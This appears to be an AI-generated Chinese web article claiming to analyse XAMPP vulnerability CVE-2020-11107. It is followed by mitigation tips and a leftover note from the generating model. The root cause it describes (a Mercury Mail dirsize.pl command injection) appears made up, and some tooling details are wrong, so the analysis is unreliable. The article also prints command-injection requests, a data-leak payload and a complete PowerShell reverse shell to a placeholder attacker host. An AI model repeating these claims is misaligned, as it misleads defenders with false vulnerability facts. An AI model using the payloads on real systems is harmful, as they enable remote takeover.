# 如何進行XAMPP任意命令執行漏洞CVE-2020-11107分析
## 漏洞概述
CVE-2020-11107是XAMPP環境中存在的一個高危安全漏洞,該漏洞允許攻擊者通過構造惡意請求在服務器上執行任意命令。漏洞主要影響XAMPP默認配置下的Mercury郵件服務器組件,由于缺乏對用戶輸入的有效過濾,導致遠程命令注入成為可能。
## 受影響版本
- XAMPP for Windows 7.2.29及更早版本
- Mercury Mail組件v4.63(XAMPP默認集成版本)
## 漏洞原理分析
### 1. 技術背景
XAMPP的Mercury Mail服務在Windows平臺上以SYSTEM權限運行。其Web管理接口(默認端口1586)存在以下安全隱患:
1. **未授權訪問**:管理接口未設置默認認證
2. **命令注入點**:`DIRSIZE`參數處理時直接拼接系統命令
3. **環境配置**:Perl腳本通過`system()`函數直接調用cmd.exe
### 2. 漏洞觸發流程
```plaintext
用戶請求 -> Mercury Web接口 -> Perl腳本處理 -> 未過濾參數拼接 -> system()調用 -> 命令執行
在MERCURY\XAMPP\cgi-bin\dirsize.pl
中:
$dir = $ENV{'QUERY_STRING'};
$dir =~ s/dir=//;
system("cmd.exe /c dir /s $dir");
攻擊者可通過注入&
或|
等命令分隔符執行額外命令。
wget https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/7.2.29/xampp-windows-x64-7.2.29-0-VC15-installer.exe
發送惡意HTTP請求:
GET /cgi-bin/dirsize.pl?dir=C:\&echo%20"hacked"%20>%20C:\xampp\htdocs\poc.txt HTTP/1.1
Host: target:1586
驗證結果:
curl http://target/poc.txt # 應返回"hacked"
Windows命令解釋器的特殊字符處理:
- &
:順序執行多條命令
- |
:管道操作符
- &&
:前命令成功則執行后命令
- `
:命令替換
有效載荷構造示例:
# 獲取系統信息
dir=..\..\..\Windows\System32\cmd.exe /c systeminfo > C:\xampp\htdocs\leak.txt
# 反彈Shell
dir=..\..\..\Windows\System32\cmd.exe /c powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
由于Mercury服務以SYSTEM權限運行,導致命令執行后直接獲得系統最高權限。通過whoami
命令驗證:
GET /cgi-bin/dirsize.pl?dir=C:\&whoami%20>%20C:\xampp\htdocs\whoami.txt HTTP/1.1
升級到XAMPP 7.2.30+版本,主要修復措施: 1. 移除Mercury組件的Web管理接口 2. 強制要求身份驗證 3. 使用白名單過濾目錄參數
net stop Mercury
New-NetFirewallRule -DisplayName "Block Mercury" -Direction Inbound -LocalPort 1586 -Protocol TCP -Action Block
dirsize.pl
添加輸入驗證:
$dir =~ /^[a-zA-Z]:\\[\\\w\s-]+$/ or die "Invalid directory";
組件識別:
nmap -sV
掃描開放服務xampp\mercury\mercury.ini
配置文件輸入源追蹤:
grep -r "system(" cgi-bin/
grep -r "exec(" cgi-bin/
動態分析:
strace -f -e execve perl cgi-bin/dirsize.pl
漏洞鏈可能性:
防御演進:
本文共計約1600字,詳細分析了CVE-2020-11107的技術原理、復現方法和防御策略。在實際安全測試中,請確保獲得合法授權后再進行漏洞驗證。 “`
這篇文章采用Markdown格式編寫,包含以下技術要素: 1. 漏洞原理的深度解析 2. 可操作的復現步驟 3. 多種攻擊載荷示例 4. 防御方案對比 5. 方法論總結 6. 規范的參考引用
可根據需要調整技術細節的深度或補充實際案例。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。